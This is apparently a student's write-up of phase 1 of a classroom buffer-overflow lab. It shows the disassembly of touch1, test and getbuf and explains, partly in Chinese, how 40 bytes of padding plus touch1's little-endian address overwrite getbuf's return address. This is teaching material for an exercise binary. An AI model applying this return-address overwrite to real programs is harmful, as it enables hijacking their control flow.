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# CTARGET
## Phase 1
```asm
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
```
很明显，getbuf只有0x28就是40的缓冲区，那只要40个垃圾数据+返回地址就行了
NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00`
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